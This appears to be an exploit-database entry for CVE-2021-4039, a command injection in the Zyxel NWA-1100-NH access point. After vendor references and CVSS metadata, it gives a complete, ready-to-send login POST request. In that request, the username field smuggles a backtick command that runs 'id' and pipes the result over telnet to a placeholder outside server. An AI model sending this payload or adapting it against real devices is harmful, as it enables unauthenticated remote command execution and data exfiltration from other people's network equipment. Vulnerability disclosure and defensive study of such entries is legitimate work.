Zyxel NWA-1100-NH Command Injection

2022.04.19
Credit: Ahmed Alroky
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Zyxel NWA-1100-NH - Command Injection # Date: 12/4/2022 # Exploit Author: Ahmed Alroky # Vendor Homepage: https://www.zyxel.com/homepage.shtml # Version: ALL BEFORE 2.12 # Tested on: Linux # CVE : CVE-2021-4039 # References : https://download.zyxel.com/NWA1100-NH/firmware/NWA1100-NH_2.12(AASI.3)C0_2.pdf , https://www.zyxel.com/support/OS-command-injection-vulnerability-of-NWA1100-NH-access-point.shtml HTTP Request : POST /login/login.html HTTP/1.1 Host: IP_address:8081 Content-Length: 80 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http:/IP_address:8081 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://IP_address:8081/login/login.html Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close myname=ffUfRAgO%60id%7ctelnet%20yourserverhere%2021%60&mypasswd=test&Submit=Login


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